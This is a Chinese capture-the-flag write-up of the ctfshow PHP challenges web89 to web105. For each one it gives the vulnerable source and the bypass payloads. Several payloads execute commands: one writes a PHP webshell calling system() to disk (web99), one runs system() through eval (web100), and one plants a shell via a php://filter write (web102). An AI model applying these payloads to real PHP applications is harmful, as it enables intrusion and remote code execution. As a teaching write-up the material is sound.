web89-web105php特性篇(一)

web89

1
2
3
4
5
6
7
8
9
10
11
12
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}

遇事不决先试试数组捏,?num[]=1

web90

1
2
3
4
5
6
7
8
9
10
11
12
13
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}

4476后加任意字符即可。?num=4476a
我们默认的上传类型就是字符型,我们直接在末尾添加一个字符就可以。

web91

https://blog.csdn.net/qq_46091464/article/details/108278486
https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html

1
2
3
4
5
6
7
8
9
10
11
12
13
14
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}

这个题一上来没看懂,要搞懂他先要理解他的过滤是什么意思。

  • ^ “行首”元字符 (^) 仅匹配字符串的开始位置
  • **$**“行末”元字符 ($) 仅匹配字符串末尾,或者最后的换行符(除非设置了 D 修饰符)

默认情况下,preg_match函数会认为目标字符串是单行组成的,当目标字符串中有换行符或者匹配中出现^或者$会受到影响。
并且末尾的m的意义如下。
因此综上意思就是,要求传入内容中有php,但是第一行中没有php。
image.png
因此payload:abc%0aphp

备注

附PCRE模式修正符

参考文章·:https://blog.csdn.net/forest_fire/article/details/50944901

image.png

wp中提到的另一个漏洞:

https://www.leavesongs.com/PENETRATION/apache-cve-2017-15715-vulnerability.html

web92

1
2
3
4
5
6
7
8
9
10
11
12
13
14
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以在PHP中不是科学计数法。所以为了绕过前面的==4476我们就可以构造 4476e123 其实不需要是e其他的字母也可以。
payload:

1
2
3
?num=0x117c    //十六进制
?num=010574 //八进制
?num=4476e123

web93

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}

十六进制里面会有字符,但是八进制仍然可以使用。
payload:010574

web94

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

strpos() f函数查找字符串在另一字符串中第一次出现的位置(区分大小写)。这里检测了不让第一位为0。
但是这个函数是可以被绕过的,利用%0a.+ 都可以使用:

1
2
3
4
5
6
7
8
9
10
对于strpos()函数,我们可以利用换行进行绕过(%0a)
payload:?num=%0a010574
也可以小数点绕过
payload:?num=4476.0
因为intval()函数只读取整数部分
还可以八进制绕过(%20是空格的url编码形式)
payload:?num=%20010574
?num= 010574 // 前面加个空格
?num=+010574
?num=+4476.0

web95

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}

同上题payload:num=%20010574

web96

1
2
3
4
5
6
7
8
9
10
highlight_file(__FILE__);

if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}

payload:?u=./flag.php这个./可以表示当前目录

web97

1
2
3
4
5
6
7
8
9
10
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

直接用数组绕过:a[]=1&b[]=2

方法二 强碰撞

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
需要用bp提交。

web98

https://www.php.cn/php-weizijiaocheng-383293.html
https://www.php.cn/php-notebook-172859.html

1
2
3
4
5
6
7
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?>

分析代码:

1
2
3
4
5
6
7
8
9
10
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
# 如果有GET传参,就变成POST传参
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
# 如果出传入flag的值为flag,将get传参修改为cookie传参
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
# 同理将get转为server
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
# 如果http_flag的值为flag,则值为flag,否则就是本文件

可以理解为:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
include('flag.php');
if($_GET){
$_GET=&$_POST;//只要有输入的get参数就将get方法改变为post方法(修改了get方法的地
址)
}else{
"flag";
} i
f($_GET['flag']=='flag'){
$_GET=&$_COOKIE;
}else{
'flag';

所以直接num传入一个值,然后将post传入HTTP_FLAG=flag即可
image.png

web99 in_array

1
2
3
4
5
6
7
8
9
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}

可以理解为:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$allow = array();//设置为数组
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));//向数组里面插入随机数
} i
f(isset($_GET['n']) && in_array($_GET['n'], $allow)){
//in_array()函数有漏洞 没有设置第三个参数 就可以形成自动转换eg:n=1.php自动转换为1
file_put_contents($_GET['n'], $_POST['content']);
//写入1.php文件 内容是<?php system($_POST[1]);?>
} ?
>

in_array函数的漏洞:
20210125215956454.png

image.png
GET传入:n=1.php
POST传入:content=<?php system($_POST[1]);?>
然后就进入1.php,post传入:1=tac fl*

web100

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}

20210126121456572.png
所以这道题只需要让v1是truev0就是true了,后面都不用管。然后v2使用命令执行即可。
payload:?v1=1&v2=system('ls')/*&v3=*/;
?v1=1&v2=system('cat ctf*')&v3=;
?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
这个也行。
最后要将0x2d要转化成-
ctfshow{ee9557f4-b67a-4c79-8603-e5653885d260}

问题

但是有几个问题,为什么只能使用//来注释不能用//,而且不能如下赋值:**
**?v1=1&v2=system('cat ctf*');/*&v3=*/**
但是神奇的是用写在本地之后运行这种就可以了。

方法二

利用反射类
payload:?v1=1&v2=echo new ReflectionClass&v3=;
关于反射类:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
class A{
public static $flag="flag{123123123}";
const PI=3.14;
static function hello(){
echo "hello</br>";
}
}
$a=new ReflectionClass('A');


var_dump($a->getConstants()); 获取一组常量
输出
array(1) {
["PI"]=>
float(3.14)
}

var_dump($a->getName()); 获取类名
输出
string(1) "A"

var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {
["flag"]=>
string(15) "flag{123123123}"
}

var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {
[0]=>
object(ReflectionMethod)#2 (2) {
["name"]=>
string(5) "hello"
["class"]=>
string(1) "A"
}
}

web101

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}

和上个题差不多,也是用反射类解决的。
?v1=1&v2=echo new Reflectionclass&v3=;,将0x2d替换掉:
3c1e313c0x2dbfc60x2d49940x2d938b0x2ddd880411ad8=》3c1e313c-bfc6-4994-938b-dd880411ad8
但是flag格式最后一个是12位,因此需要爆破出最一位。
0-c一个一个尝试就行。

web102 isnumeric and isnumeric绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}


?>

substr() 函数返回字符串的一部分。
call_user_func()函数把第一个参数作为回调函数调用
file_put_contents() 函数把一个字符串写入文件中。
代码分析:v4检测是否进入判断。v2会被删除掉前两个字符,v1调用方法传入删过字符的v2,再将结果写入文件v3。
因此核心操作语句在v2。
上来有个数字检测,这里要使用hex2bin。
php5下is_numeric可识别16进制,如0x2e,然后调用hex2bin转成字符串写入木马,但题目环境没配好,是php7,所以要另换方法。
用伪协议写入,所以需要base64编码后转成16进制全是数字的字符串(但是下面这个不行)

1
2
3
4
$a = "<?=`cat *`;>";
$b = base64_encode($a);
$c = bin2hex($b);
echo $c;

注意这个上面的不行,因为转换后的hex中除了e有其他的字符,wp中提到了使用的以下这种

1
2
3
4
5
6
7
8
9
10
11
12
<?php

$a='<?=`cat *`;';

$b=base64_encode($a);//$a=PD89YGNhdCAqYDs=

$c=bin2hex('PD89YGNhdCAqYDs');

echo $c;

?>

然后生成的hex串:5044383959474e6864434171594473(这里的e会被当作科学计数法)为了绕过截断需要在前面随便加两个字符11,v3使用伪协议执行
GET:?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=2.php
POST传入bin2hex的反函数:v1=hex2bin
image.png

web103

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}

同上题payload

web104

1
2
3
4
5
6
7
8
9
10
11
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}

get,post全传入1即可,或者传入数组
image.png

web105 $$a 变量覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);

比赛之前遇到好多次这种题了,但是看了wp也没有很好的学明白,看到了一份wp里面讲的很清楚。
采用中间变量来解决:
error=a=flag
GET中error不能在等号左边。
POST中flag不能在等号右边。
image.png
GET:a=flag
POST:error=a
这样就达成了一种情况:
首先要知道传入的值是文本,$$key=$$value达成了$a=$flag,后半段同理,$error=$a这样就达成了值桥接。这样文末的判断才会判断为正。
看了一眼wp发现一个更牛的做法,直接get传入:
?suces=flag&flag=
这就是构造的suces=flag=空
后面的默认传入flag就是空对应到flag。